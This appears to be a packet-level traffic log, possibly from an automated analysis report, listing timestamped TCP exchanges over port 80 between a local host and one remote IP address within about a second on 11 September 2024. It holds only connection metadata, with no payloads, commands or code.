Sep 11, 2024 22:52:05.504096031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504116058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504128933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504152060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504162073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504194021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504199982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504218102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504225969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504239082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504257917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504280090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504292011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504314899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504323959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504350901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504358053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504384041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504390001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504405975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504422903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504443884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504461050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504482985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504493952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504520893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504525900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504540920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504558086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504582882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504601002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516609907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516659975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516694069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516725063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516740084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516740084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516758919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516781092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516792059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516818047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516827106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.516861916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.516890049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517215014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517266989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517271996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517297029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517322063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517342091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517347097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517398119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517402887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517446995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517461061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517499924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517505884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517550945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517558098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517597914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517606974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517647028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517658949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517679930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517705917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517726898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517728090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517760992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517788887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517791986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517807961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517826080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517848969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517858028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517872095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517889977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517921925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517924070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517939091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517957926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.517976999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.517990112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.518023968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.518035889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.518055916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.518058062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.518084049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.518089056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.518107891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.518147945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.554919958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.554971933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.554984093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555006027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555028915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555057049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555058002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555090904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555108070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555124998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555155993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555156946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555186987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555191040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555203915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555222034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555246115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555269003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555270910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555300951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555334091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555366039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555372000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555413008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555418015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555433989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555450916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555485964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555486917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555510044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555519104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555531979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555552006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555572033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555586100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555609941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555619955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555634022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555669069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555687904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555716038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555743933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555747986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555763960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555782080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555808067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555813074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555830956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555849075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555862904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555893898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555922985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555928946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555944920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.555967093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.555993080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556016922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556018114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556049109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556070089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556083918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556102991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556116104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556138992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556149960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556176901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556181908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556196928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556215048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556237936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556246996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556272984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556281090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556310892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556314945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556334019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556343079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556363106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556375980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556399107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556407928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556427956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556440115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556456089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556476116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556492090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556508064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556529999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556540966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556574106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556576014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556596041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556607008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556627989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556638956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556658030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556672096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556694031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556704044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556732893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556736946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.556752920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.556806087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591051102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591099024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591156960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591165066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591185093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591212034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591233015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591262102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591270924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591294050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591309071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591342926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591345072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591378927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591418028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591434956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591439962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591495037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591500998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591527939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591552019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591578007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591579914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591612101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591630936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591644049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591666937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591694117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591695070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591723919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591746092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591758966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591775894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591790915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591810942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591824055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591849089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591859102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591869116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591892004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591916084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591924906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591941118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591957092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.591975927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.591989994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592011929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592019081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592051983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592067003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592086077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592117071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592119932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592120886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592149973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592166901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592180014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592212915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592212915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592246056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592282057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592283964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592305899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592314005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592334032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592346907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592377901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592379093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592396021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592412949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.592449903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.592475891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605287075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605379105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605391026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605432987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605467081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605488062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605516911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605524063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605571985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605572939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605576038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605612040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605635881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605648041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605674982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605683088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605700016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605717897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605751038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605762005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605762005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605784893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605819941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605828047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605853081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605869055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605889082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.605890036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605927944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.605945110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606338024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606369972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606400967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606404066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606420994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606436968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606456995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606484890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606487989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606519938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606554031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606556892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606580973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606586933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606602907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606620073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606647968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606652975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606669903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606686115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606707096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606719017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606745005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606751919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606766939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606786013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.606806040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.606833935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642716885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.642784119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.642796993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642827034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.642846107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642863035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.642893076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642910004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642915010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.642966032 CEST	80	49733	45.152.113.10	192.168.2.4
